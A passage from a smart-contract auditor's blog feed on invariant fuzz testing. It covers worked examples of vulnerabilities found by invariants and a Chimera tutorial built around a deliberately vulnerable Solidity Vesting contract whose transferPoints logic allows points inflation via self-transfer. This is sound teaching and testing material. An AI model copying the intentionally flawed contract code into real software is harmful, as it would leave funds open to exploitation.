            <span class="hljs-keyword">delete</span> userActiveMarkets[victim][marketId];
        }
    }
    <span class="hljs-keyword">catch</span>(<span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> err) {
        <span class="hljs-keyword">bytes4</span>[] <span class="hljs-keyword">memory</span> allowedErrors <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes4</span>[](<span class="hljs-number">2</span>);
        allowedErrors[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> ILiquidateDos.LiquidationsDisabled.<span class="hljs-built_in">selector</span>;
        allowedErrors[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> ILiquidateDos.LiquidateUserNotInAnyMarkets.<span class="hljs-built_in">selector</span>;

        <span class="hljs-keyword">if</span>(_isUnexpectedError(<span class="hljs-keyword">bytes4</span>(err), allowedErrors)) {
            liquidateUnexpectedError <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        }
    }
}

<span class="hljs-comment">// returns whether error was unexpected</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_isUnexpectedError</span>(<span class="hljs-params">
    <span class="hljs-keyword">bytes4</span> errorSelector,
    <span class="hljs-keyword">bytes4</span>[] <span class="hljs-keyword">memory</span> allowedErrors
</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> isUnexpectedError</span>) </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i; i <span class="hljs-operator">&lt;</span> allowedErrors.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">if</span> (errorSelector <span class="hljs-operator">=</span><span class="hljs-operator">=</span> allowedErrors[i]) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }
    }

    isUnexpectedError <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}

<span class="hljs-comment">// Properties invariant</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_liquidate_no_unexpected_error</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    result <span class="hljs-operator">=</span> <span class="hljs-operator">!</span>liquidateUnexpectedError;
}
</code></pre>
<p>This invariant uncovered a <a target="_blank" href="https://solodit.xyz/issues/impossible-to-liquidate-accounts-with-multiple-active-markets-as-liquidationbranchliquidateaccounts-reverts-due-to-corruption-of-ordering-in-tradingaccountactivemarketsids-cyfrin-none-cyfrinzaros-markdown">Critical</a> severity vulnerability which a trader could weaponize to make themselves impossible to liquidate.</p>
<h2 id="heading-example-9-stability-pool-drain">Example 9 - Stability Pool Drain</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/13-stability-pool/StabilityPool.sol"><code>StabilityPool</code></a> contract which:</p>
<ul>
<li><p>allows users to deposit <code>debtToken</code> which is used to pay down bad debt during liquidations</p>
</li>
<li><p>in exchange <code>debtToken</code> depositors receive a share of <code>collateralToken</code> rewards from collateral seized during liquidations</p>
</li>
<li><p>contains quite complicated logic to calculate the reward share <code>debtToken</code> depositors should receive</p>
</li>
<li><p>must always remain solvent; the pool should always have sufficient <code>collateralToken</code> to pay out rewards owed to <code>debtToken</code> depositors</p>
</li>
</ul>
<p>A (regular, black box) <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/13-stability-pool/Properties.sol#L9-L23">invariant</a> which naturally flows from the specification is to verify the pool’s solvency:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_stability_pool_solvent</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    <span class="hljs-keyword">uint256</span> totalClaimableRewards;

    <span class="hljs-comment">// sum total claimable rewards for each possible user</span>
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint8</span> i; i<span class="hljs-operator">&lt;</span>ADDRESS_POOL_LENGTH; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">address</span> user <span class="hljs-operator">=</span> addressPool[i];

        totalClaimableRewards <span class="hljs-operator">+</span><span class="hljs-operator">=</span> stabilityPool.getDepositorCollateralGain(user);
    }

    <span class="hljs-comment">// pool is solvent if the total claimable rewards are</span>
    <span class="hljs-comment">// lte its collateral token balance</span>
    <span class="hljs-keyword">if</span>(totalClaimableRewards <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> collateralToken.balanceOf(<span class="hljs-keyword">address</span>(stabilityPool)))
        result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This simple invariant uncovered a <a target="_blank" href="https://solodit.xyz/issues/stabilitypoolclaimcollateralgains-should-accrue-depositor-collateral-gains-before-claiming-cyfrin-none-bima-markdown">Critical</a> vulnerability in the original protocol from which the code I was auditing was forked. The vulnerability had been introduced in a <a target="_blank" href="https://github.com/prisma-fi/prisma-contracts/commit/76dbc51db0c0d4c92a59776f5effc47e31e88087">“small fix”</a> and laid dormant in the codebase for 1 year; it allowed a <code>debtToken</code> depositor to completely drain all <code>collateralTokens</code> from the <code>StabilityPool</code>.</p>
<p>The simplicity of this invariant serves to illustrate the great power of invariant fuzz testing: without understanding the complicated reward calculation code, we can write a simple black box invariant which the fuzzer will break finding an extremely valuable Critical exploit.</p>
<h2 id="heading-example-10-collateral-priority-corruption">Example 10 - Collateral Priority Corruption</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/14-priority/Priority.sol"><code>Priority</code></a> contract used in multi-collateral lending protocols:</p>
<ul>
<li><p>defines a liquidation priority order for collaterals</p>
</li>
<li><p>when a liquidation occurs, the riskiest collaterals are liquidated first such that the borrower’s remaining collateral basket is more stable post-liquidation</p>
</li>
<li><p>allows collaterals to be added and removed; adding always puts the new collateral at the end of the priority queue while removing preserves the existing order minus the removed element</p>
</li>
</ul>
<p>From the specification we can write a (regular, black box) <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/14-priority/Properties.sol#L9-L24">invariant</a> to verify the collateral order is always correct. To simplify the implementation in our fuzz test we use 4 collaterals, update the expected order in the fuzz <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/14-priority/TargetFunctions.sol#L10-L46">handlers</a> then compare the expected order to the actual in the invariant:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// TargetFunctions fuzz handlers update ghost variable expected order</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handler_addCollateral</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> collateralId</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    collateralId <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(between(collateralId,
                                 priority.MIN_COLLATERAL_ID(),
                                 priority.MAX_COLLATERAL_ID()));

    priority.addCollateral(collateralId);

    <span class="hljs-comment">// update ghost variables with expected order</span>
    <span class="hljs-keyword">if</span>(priority0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) priority0 <span class="hljs-operator">=</span> collateralId;
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(priority1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) priority1 <span class="hljs-operator">=</span> collateralId;
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(priority2 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) priority2 <span class="hljs-operator">=</span> collateralId;
    <span class="hljs-keyword">else</span> priority3 <span class="hljs-operator">=</span> collateralId;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handler_removeCollateral</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> collateralId</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    collateralId <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(between(collateralId,
                                 priority.MIN_COLLATERAL_ID(),
                                 priority.MAX_COLLATERAL_ID()));

    priority.removeCollateral(collateralId);

    <span class="hljs-comment">// update ghost variables with expected order</span>
    <span class="hljs-keyword">if</span>(priority0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> collateralId) {
        priority0 <span class="hljs-operator">=</span> priority1;
        priority1 <span class="hljs-operator">=</span> priority2;
        priority2 <span class="hljs-operator">=</span> priority3;
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(priority1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> collateralId) {
        priority1 <span class="hljs-operator">=</span> priority2;
        priority2 <span class="hljs-operator">=</span> priority3;
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(priority2 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> collateralId) {
        priority2 <span class="hljs-operator">=</span> priority3;
    }

    <span class="hljs-keyword">delete</span> priority3;
}

<span class="hljs-comment">// Properties invariant</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_priority_order_correct</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    <span class="hljs-keyword">if</span>(priority0 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span>(priority.getCollateralAtPriority(<span class="hljs-number">0</span>) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> priority0) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
    <span class="hljs-keyword">if</span>(priority1 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span>(priority.getCollateralAtPriority(<span class="hljs-number">1</span>) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> priority1) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
    <span class="hljs-keyword">if</span>(priority2 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span>(priority.getCollateralAtPriority(<span class="hljs-number">2</span>) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> priority2) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
    <span class="hljs-keyword">if</span>(priority3 <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span>(priority.getCollateralAtPriority(<span class="hljs-number">3</span>) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> priority3) <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This invariant uncovered a <a target="_blank" href="https://solodit.xyz/issues/globalconfigurationremovecollateralfromliquidationpriority-corrupts-the-collateral-priority-order-resulting-in-incorrect-order-of-collateral-liquidation-cyfrin-none-cyfrinzaros-markdown">High</a> vulnerability that corrupted the collateral priority order resulting in incorrect collateral being prioritized for liquidation, which results in traders being left with an unhealthier collateral basket post-liquidation increasing the likelihood of future liquidations.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>We have reviewed 9 simplified examples from my private audits on real codebases where invariant fuzz testing could have been used “in-house” by protocol developers to detect and fix important vulnerabilities prior to engaging external auditors.</p>
<p>Only 1 of these invariants was white box meaning that to write it required understanding of smart contract internal implementation details. The other 8 were all black box so could be deduced simply from the protocol or contract specification. All 9 invariants were relatively simple to write and implement.</p>
<p>Protocol developers and smart contract auditors can significantly improve the security of their protocols by learning to think in invariants and implementing invariant fuzz tests as part of their work.</p>
<h2 id="heading-additional-resources">Additional Resources</h2>
<ul>
<li><a target="_blank" href="https://github.com/perimetersec/evm-fuzzing-resources">EVM Fuzzing Resources</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Writing Multi-Fuzzer Invariant Tests Using Chimera]]></title><description><![CDATA[Should you use Foundry, Echidna or Medusa fuzzers when writing your smart contract invariant fuzz tests? Why settle for just one when you can use all 3 from the same codebase by writing your fuzz tests using Chimera!
Chimera is best thought of as a “...]]></description><link>https://dacian.me/writing-multi-fuzzer-invariant-tests-using-chimera</link><guid isPermaLink="true">https://dacian.me/writing-multi-fuzzer-invariant-tests-using-chimera</guid><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Smart Contracts]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Fri, 27 Sep 2024 09:02:41 GMT</pubDate><content:encoded><![CDATA[<p>Should you use Foundry, Echidna or Medusa fuzzers when writing your smart contract invariant fuzz tests? Why settle for just one when you can use all 3 from the same codebase by writing your fuzz tests using <a target="_blank" href="https://github.com/Recon-Fuzz/chimera">Chimera</a>!</p>
<p>Chimera is best thought of as a “swiss army knife” - collection of tools that allow smart contract developers and auditors to use as few or as many of the tools, in order to achieve the goal of writing one codebase that can be used to execute multiple fuzzers.</p>
<p>Let’s explore how to use Chimera to write a smart contract invariant fuzz testing suite using a simplified version of a real <a target="_blank" href="https://solodit.xyz/issues/allocationvesting-contract-can-be-exploited-for-infinite-points-via-self-transfer-cyfrin-none-bima-markdown">finding</a> from a recent <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-09-27-cyfrin-bima-v2.0.pdf">private audit</a>. The full code can be found in my <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/">Solidity Fuzzing Challenge</a> repository.</p>
<h2 id="heading-vulnerable-vesting-contract">Vulnerable Vesting Contract</h2>
<p>Our vulnerable contract <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/09-vesting/Vesting.sol">Vesting.sol</a> implements a simplified vesting scheme where users receive points which can be redeemed for tokens once the vesting period has expired. Much of the complexity has been removed to only contain the code and functionality relevant to our example:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.23;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Vesting</span> </span>{
    <span class="hljs-keyword">uint24</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> TOTAL_POINTS <span class="hljs-operator">=</span> <span class="hljs-number">100_000</span>;

    <span class="hljs-keyword">struct</span> <span class="hljs-title">AllocationInput</span> {
        <span class="hljs-keyword">address</span> recipient;
        <span class="hljs-keyword">uint24</span> points;
        <span class="hljs-keyword">uint8</span>  vestingWeeks;
    }

    <span class="hljs-keyword">struct</span> <span class="hljs-title">AllocationData</span> {
        <span class="hljs-keyword">uint24</span> points;
        <span class="hljs-keyword">uint8</span>  vestingWeeks;
        <span class="hljs-keyword">bool</span>   claimed;
    }

    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> recipient <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> AllocationData data) <span class="hljs-keyword">public</span> allocations;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">AllocationInput[] <span class="hljs-keyword">memory</span> allocInput</span>) </span>{
        <span class="hljs-keyword">uint256</span> inputLength <span class="hljs-operator">=</span> allocInput.<span class="hljs-built_in">length</span>;
        <span class="hljs-built_in">require</span>(inputLength <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>, <span class="hljs-string">"No allocations"</span>);

        <span class="hljs-keyword">uint24</span> totalPoints;
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>inputLength; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-built_in">require</span>(allocInput[i].points <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Zero points invalid"</span>);
            <span class="hljs-built_in">require</span>(allocations[allocInput[i].recipient].points <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Already set"</span>);

            totalPoints <span class="hljs-operator">+</span><span class="hljs-operator">=</span> allocInput[i].points;
            <span class="hljs-built_in">require</span>(totalPoints <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> TOTAL_POINTS, <span class="hljs-string">"Too many points"</span>);

            allocations[allocInput[i].recipient].points <span class="hljs-operator">=</span> allocInput[i].points;
            allocations[allocInput[i].recipient].vestingWeeks <span class="hljs-operator">=</span> allocInput[i].vestingWeeks;
        }

        <span class="hljs-built_in">require</span>(totalPoints <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS, <span class="hljs-string">"Not enough points"</span>);
    }

    <span class="hljs-comment">// users entitled to an allocation can transfer their points to</span>
    <span class="hljs-comment">// another address if they haven't claimed</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferPoints</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint24</span> points</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(points <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Zero points invalid"</span>);

        AllocationData <span class="hljs-keyword">memory</span> fromAllocation <span class="hljs-operator">=</span> allocations[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
        <span class="hljs-built_in">require</span>(fromAllocation.points <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> points, <span class="hljs-string">"Insufficient points"</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>fromAllocation.claimed, <span class="hljs-string">"Already claimed"</span>);

        AllocationData <span class="hljs-keyword">memory</span> toAllocation <span class="hljs-operator">=</span> allocations[to];
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>toAllocation.claimed, <span class="hljs-string">"Already claimed"</span>);

        <span class="hljs-comment">// enforce identical vesting periods if `to` has an active vesting period</span>
        <span class="hljs-keyword">if</span>(toAllocation.vestingWeeks <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            <span class="hljs-built_in">require</span>(fromAllocation.vestingWeeks <span class="hljs-operator">=</span><span class="hljs-operator">=</span> toAllocation.vestingWeeks, <span class="hljs-string">"Vesting mismatch"</span>);
        }

        allocations[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>].points <span class="hljs-operator">=</span> fromAllocation.points <span class="hljs-operator">-</span> points;
        allocations[to].points <span class="hljs-operator">=</span> toAllocation.points <span class="hljs-operator">+</span> points;

        <span class="hljs-comment">// if `to` had no active vesting period, copy from `from`</span>
        <span class="hljs-keyword">if</span> (toAllocation.vestingWeeks <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            allocations[to].vestingWeeks <span class="hljs-operator">=</span> fromAllocation.vestingWeeks;
        }
    }
}
</code></pre>
<h2 id="heading-thinking-in-invariants">Thinking In Invariants</h2>
<p>The primary challenge of writing good invariant fuzz tests is learning to think in terms of contract and protocol invariants. One systematic way to do this is to think in terms of “contract lifecycle” and “white/black-box”.</p>
<h3 id="heading-contract-lifecycle">Contract Lifecycle</h3>
<p>Smart contracts have 3 primary phases of life:</p>
<ul>
<li><p>construction / initialization</p>
</li>
<li><p>regular functioning</p>
</li>
<li><p>optionally an end state</p>
</li>
</ul>
<p>It can be helpful to think of which properties must remain true during each of these life phases. For example in our contract at the initialization state, the total amount of points allocated to recipients must equal the expected total number of points. Since this invariant is “cheap” (in terms of gas costs) to implement, it makes sense to implement it directly into our code.</p>
<p>During the regular functioning and end of life phases of the contract lifecycle, a good invariant property would be:</p>
<ul>
<li>the total amount of points allocated to users must remain equal to the total number of points</li>
</ul>
<p>However this invariant property is “expensive” in that it is cost-prohibitive to iterate and sum every user’s points at the smart contract level. Hence such invariants should be implemented “off-chain” by developers as part of a protocol’s invariant fuzz tests.</p>
<h3 id="heading-whiteblack-box">White/Black Box</h3>
<p>Another way of thinking about invariants is in terms of white or black boxes.</p>
<p>A “white box” invariant is one that we implement based upon internal knowledge of how the smart contract works, while a “black box” invariant is a property that we can glean from the protocol’s design or documentation, without needing to know about the internals of how the protocol actually implements its functionality.</p>
<p>For the full version of the contract a useful “end state” invariant would be that the total amount of tokens which have been distributed to users is equal to the amount of vested tokens. This invariant is “black-box” since we don’t need to know anything about the contract’s underlying implementation, we just know this property exists and should be true at the end state.</p>
<h2 id="heading-writing-the-test-setup">Writing The Test Setup</h2>
<p>The first thing we need to do is create a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/Setup.sol">Setup.sol</a> file which will inherit from Chimera’s <a target="_blank" href="https://github.com/Recon-Fuzz/chimera/blob/main/src/BaseSetup.sol">BaseSetup</a> contract. Our <code>Setup</code> contract can:</p>
<ul>
<li><p>either inherit directly from the contract being tested or have that contract as a member variable</p>
</li>
<li><p>contain “ghost” variables use to track important state for comparison with contract state during invariant checks</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.23;</span>

<span class="hljs-keyword">import</span> { <span class="hljs-title">Vesting</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../../src/09-vesting/Vesting.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">BaseSetup</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@chimera/BaseSetup.sol"</span>;

<span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Setup</span> <span class="hljs-keyword">is</span> <span class="hljs-title">BaseSetup</span> </span>{
    <span class="hljs-comment">// contract being tested</span>
    <span class="hljs-keyword">uint24</span> <span class="hljs-keyword">constant</span> TOTAL_POINTS <span class="hljs-operator">=</span> <span class="hljs-number">100_000</span>;
    Vesting vesting;

    <span class="hljs-comment">// ghost variables</span>
    <span class="hljs-keyword">address</span>[] recipients;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setup</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        <span class="hljs-comment">// use two recipients with equal allocation</span>
        recipients.<span class="hljs-built_in">push</span>(<span class="hljs-keyword">address</span>(<span class="hljs-number">0x1111</span>));
        recipients.<span class="hljs-built_in">push</span>(<span class="hljs-keyword">address</span>(<span class="hljs-number">0x2222</span>));

        <span class="hljs-comment">// prepare allocation array</span>
        Vesting.AllocationInput[] <span class="hljs-keyword">memory</span> inputs
            <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Vesting.AllocationInput[](<span class="hljs-number">2</span>);
        inputs[<span class="hljs-number">0</span>].recipient <span class="hljs-operator">=</span> recipients[<span class="hljs-number">0</span>];
        inputs[<span class="hljs-number">0</span>].points <span class="hljs-operator">=</span> TOTAL_POINTS <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
        inputs[<span class="hljs-number">0</span>].vestingWeeks <span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
        inputs[<span class="hljs-number">1</span>].recipient <span class="hljs-operator">=</span> recipients[<span class="hljs-number">1</span>];
        inputs[<span class="hljs-number">1</span>].points <span class="hljs-operator">=</span> TOTAL_POINTS <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
        inputs[<span class="hljs-number">1</span>].vestingWeeks <span class="hljs-operator">=</span> <span class="hljs-number">10</span>;

        vesting <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Vesting(inputs);
    }
}
</code></pre>
<h3 id="heading-avoid-fuzzer-specific-cheatcodes-in-setup">Avoid Fuzzer-Specific Cheatcodes In Setup</h3>
<p>When writing the test setup we need to avoid using fuzzer-specific cheatcodes. A good way to do this is to only use cheatcodes from Chimera’s <a target="_blank" href="https://github.com/Recon-Fuzz/chimera/blob/main/src/Hevm.sol">IHevm</a> interface which prevents using any cheatcodes that won’t work across all fuzzers.</p>
<h2 id="heading-implementing-the-invariants">Implementing The Invariants</h2>
<p>Next we create a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/Properties.sol">Properties.sol</a> file to define our invariants; it inherits from our <code>Setup</code> contract and Chimera’s <a target="_blank" href="https://github.com/Recon-Fuzz/chimera/blob/main/src/Asserts.sol">Asserts</a> contract. In this file we will implement the invariants as Echidna/Medusa-style invariants which are functions that return a boolean and we’ll use <code>property_</code> as the function prefix:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.23;</span>

<span class="hljs-keyword">import</span> { <span class="hljs-title">Setup</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Setup.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">Asserts</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@chimera/Asserts.sol"</span>;

<span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Properties</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Setup</span>, <span class="hljs-title">Asserts</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_users_points_sum_eq_total_points</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
        <span class="hljs-keyword">uint24</span> totalPoints;

        <span class="hljs-comment">// sum up all user points</span>
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>recipients.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            (<span class="hljs-keyword">uint24</span> points, , ) <span class="hljs-operator">=</span> vesting.allocations(recipients[i]);

            totalPoints <span class="hljs-operator">+</span><span class="hljs-operator">=</span> points;
        }

        <span class="hljs-comment">// true if invariant held, false otherwise</span>
        <span class="hljs-keyword">if</span>(totalPoints <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS) result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;

        <span class="hljs-comment">// note: Solidity always initializes to default values</span>
        <span class="hljs-comment">// so no need to explicitly set result = false as false</span>
        <span class="hljs-comment">// is the default value for bool</span>
    }
}
</code></pre>
<h2 id="heading-wrapping-the-target-functions">Wrapping The Target Functions</h2>
<p>With our setup complete and invariants defined, the next step is to create “handlers” which “wrap” the target functions of the contract being tested. The general goals are to:</p>
<ul>
<li><p>exercise the contract’s functionality as organically as possible</p>
</li>
<li><p>prevent wasted runs that would revert due to failing to satisfy basic preconditions</p>
</li>
</ul>
<p>A “handler” is a function with a <code>handler_</code> prefix followed by the underlying function name which wraps that function and satisfies required preconditions. Create a new file <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/TargetFunctions.sol">TargetFunctions.sol</a> which inherits from our <code>Properties</code> contract and Chimera’s <a target="_blank" href="https://github.com/Recon-Fuzz/chimera/blob/main/src/BaseTargetFunctions.sol">BaseTargetFunctions</a> contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.23;</span>

<span class="hljs-keyword">import</span> { <span class="hljs-title">Properties</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Properties.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">BaseTargetFunctions</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@chimera/BaseTargetFunctions.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">IHevm</span>, <span class="hljs-title">vm</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@chimera/Hevm.sol"</span>;

<span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TargetFunctions</span> <span class="hljs-keyword">is</span> <span class="hljs-title">BaseTargetFunctions</span>, <span class="hljs-title">Properties</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handler_transferPoints</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> recipientIndex,
                                    <span class="hljs-keyword">uint256</span> senderIndex,
